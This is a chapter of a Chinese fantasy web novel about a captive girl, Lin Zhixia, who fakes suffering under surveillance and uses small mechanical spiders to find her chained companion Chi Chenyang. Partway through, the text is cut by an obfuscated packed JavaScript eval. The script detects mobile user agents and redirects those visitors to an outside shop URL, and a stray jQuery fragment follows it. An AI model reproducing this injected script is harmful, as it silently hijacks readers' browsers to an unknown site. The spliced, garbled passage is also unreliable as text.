做够了戏的林栀夏被这位地蠹堂的血屠子扔出了大门,并被告知,身体里的血虫让她感到痛苦时,就该乖乖来北街见他,至于要她做什么对方没说,想来也不是什么好事。
至于另一只生肉,赤辰旸?林栀夏是连他的面都没见到,见不到也好,不然要是瞧见同伴的尸体,她是真的会心生郁意。
如果木矛说的是真的......
她晃了晃脑袋,阻止自己继续想这些根本无法转圜的事情,控制住那些令人痛苦的情绪后,她一脸衰相地朝木矛的居所走去。
而灵江将她拦在了路上,“你不用去了。”
林栀夏抬起恍惚的脸,轻轻“嗯?”了一声。
灵江到底年纪还小,面露些许不忍之色,“你直接回去吧,另一只生肉的事情不用你再操心,以后,你就是锈虫的灵虫了。”
似乎已经彻底疲惫的人稍稍打起精神,扑闪着的眼睛,“谢谢柔姐姐。”她轻声细语道。
灵江满意地点点头,抬了抬下巴让林栀夏离开了。
她掀开树皮,感受到洞里的视线,心里叹气,无法彻底休息便只能滑坐在地上,闭上眼睛,将一片心神投射到木矛那里。
果不其然,木矛面前一片水晶上,正是林栀夏洞里的景色,她一时间觉得这个视角很奇怪,我透过我的监视器看别人监视我......
许是看得无聊,木矛细眉微蹙,林栀夏眼珠在眼皮下转动一圈后,随即面露痛苦之色,揪着胸口的衣服跪趴在地上,额角沁出细密地汗珠,嘴唇发白颤抖,一副被折磨得不轻的样子。
木矛面露沉思,随后她拂开手腕的衣袖,露出一只八足赤甲的毒虫纹身,她对着纹身低声说了句什么,不出片刻,林栀夏这里传来灵音的呼唤,“小夏,你还好吗?”
关切之意并不是假的,林栀夏扶着墙让自己站起身来,去给灵音开门。
灵音心中复杂,见她这样一幅凄惨的模样,到底还是将她背在身上,“我带你去找洪叔。”
林栀夏虽然没了力气,但还是奋力挣扎着,身体擦过木矛监控的那个角度,一颗石头掉了下来摔成碎块,但两人都没在意,她喘息着说,“没事的灵音,我缓一缓。”
见她执意拒绝,灵音也没办法,踌躇片刻,只能涩声安慰,“之后就会好了。”
瞧她欲言又止的模样,林栀夏心里一阵复杂,也许就像是灵音说的那样,在这样的地方,活着已经足够艰难了,如何再去苛责人性呢?
灵音临走前给了她一只红色的甲虫,并看着她吞了下去,两虫在林栀夏的识海相遇,都奋力挣扎着攻击对方。
见此,她只能一副疼到打滚的模样,痛呼声让周围的奴隶们也都面露异色,有的老者叹息,无奈地摇了摇头。
灵音面露不忍,将小姑娘抱在怀里,免得她挣扎间伤害到自己,那一身骨头硌得林栀夏后背钝痛,泛红的颊边滑落一滴泪。
她不能留在这里,她要回去,师姐一定急坏了。
碎裂在地的石块闪烁一瞬,木矛挥灭眼前的水晶,没再监视这个小丫头。
等灵音也彻底离开后,林栀夏靠在墙上大口喘息着,将那颗石头彻底碾碎后,面无表情地拿出帐篷,洗净自己的一身污秽。
她躺在柔软的地毯上,复盘所有的信息,心神投到傀儡上,感受到老管事的居所环境,比这里强了不知道多少,至少温度适宜,虽然杂乱无章也还算得上干净,而且那张石床上,还有一套柔软的被子。
林栀夏拿起来闻了闻,那个少年身上的气味已经淡了,但仍然存在,和被子本身的酸臭混合在一起,让她差点吐出来。
傀儡身上没有清水丸,林栀夏也不可能大晚上冒险,就为了去洗一床被子,她只能将被褥扔到一边,让傀儡身就那样在石床上沉睡。
门上是挂好的休止符,只要有人靠近,她就能第一时间发现。
将傀儡收尾后,林栀夏才能彻底放空自己,极度地疲惫让睡意来势汹汹,她挣扎着钻进睡袋,可那睡意却在识海里的血屠子甲虫来回翻滚的瞬间消失无踪。
那甲虫竟然口吐人言,“明日想办法混进木矛接待的队伍里。”说完这句话后,等到林栀夏轻声应诺后,所有的联系才被切断。
身心俱疲之下,被打断休息的林栀夏面露杀意,那位主家少爷要来的消息连一个小小的管事都知道了,血屠子不可能才知晓。
那见面时为什么不说!
在地蠹堂角落中的小蜘蛛撅了撅屁股,一颗颗棕色的小圆球滚落下来,落地化成更小的虫子,顺着孔道往四面发放探去。
如同蚁穴一样的建筑让人完全分不出方向,但是那机术蜘蛛吞吃着土壤里的精气,走出一段距离便会变大,随后生出更多的小虫。
这是林栀夏用噬灵菌做出的第一个小东西,繁殖能力极强的东西,只要一小块便可以无限繁殖,当时在师兄的库房里,她第一眼就瞧见了它。
可问题就是,噬灵菌作为噬灵阵的主材料,几乎见到什么就吃什么,为了遏制它过分强横的吞噬能力,她苦思冥想才做出这样几只小蜘蛛。
这样的东西,她却不敢放在木矛的地盘,那人心细如发,对环境的洁癖程度更是难以形容,她放下的一只小虫,只敢在黑暗里悄悄注视。
蜘蛛四处游走着,失去了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628781|205250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
困意的林栀夏都要看得重新睡着了,气囊里陡然出现的熟悉灵气,却让她心神为之一振。
小蜘蛛吞吐出一条蛛丝,从房梁悬落下来,才让林栀夏看清了那一片地狱景象。
赤辰旸浑身是伤,入目皆是一片血色,他曲着腿,垂着头,小臂搭在膝盖上,浓稠的血顺着指尖往下滴落,而他,坐在那一片尸山上,周围没有一只活物。
忽然,他撩起的视线看向蜘蛛所在之处,道家巽雷直直落下,林栀夏眼睛一眨,失去了视野。
这是发生了什么?
林栀夏胃袋翻滚,缓了片刻后才又让一只蜘蛛往那个方向探了过去。
赤辰旸太累了,已经麻木的身体和停止思考的脑子,让他几乎变成了一个本能反应的杀器。
林栀夏扮猪吃老虎的提议明显失败,他一睁眼,便被紧紧捆在身下的石柱上,脖子处的铁链把他像狗一样拴在原地,而四周俱是狰狞着失去理智的尸虫。
他们似人非人,身上散发着诡异的恶臭,在这个环境下被熏久了,脑子就会出现迟缓。
而他脚踝处的铃铛随着动作绞着他的识海,每一声铃响都让他痛苦一分。
他眯着眼睛盯着又一次出现的虫子,这一次,虫子身上冒着幽幽绿光,毫不迟疑地朝他爬了过来。
本想一手指捏死,但又嫌脏,最后一缕巽雷的力量已经消散,他就只能看着那东西颤颤巍巍地往上爬,最后停在了他的脚边。
赤辰旸把蜘蛛抓了起来,放在眼前细细端详。
用的力气有些大,林栀夏挣扎片刻,“赤辰旸。”她呼唤出声。
听到这一句,赤辰旸眉梢轻扬,茶色的眼睛露出些许笑意,他感觉自己麻木的大脑恢复了些许活力,“林栀夏?”
看他还算清醒,林栀夏呼出一口气,“发生了什么?你杀了这么多人?”
赤辰旸“啧”了一声,“不是,他们不算是人,像是鬼道的尸傀,但也不太一样。”
他拽了拽脖子上的铁链子,冷哼一声,“你干的好事。”
林栀夏讪笑一声,让小蜘蛛爬了过去,脆弱的脖颈被这样近距离的接触,赤辰旸本能地竖起汗毛。
但是小蜘蛛只是张开嘴巴,坚固的铁环就被慢慢吞吃干净了。
林栀夏又爬到了他的脚踝处,将铃铛内的虫子拽了出来,但是由于奇怪的心理,实在没下去口,赤辰旸倒是自己用雷烧死了。
久违的充沛灵力流至四肢百骸,他的疲惫和伤口在飞速地恢复着。
林栀夏刚想说话,一道脚步声从外面传了过来,赤辰旸浑身上下几乎□□,他眼疾手快,把蜘蛛塞进了发丝里。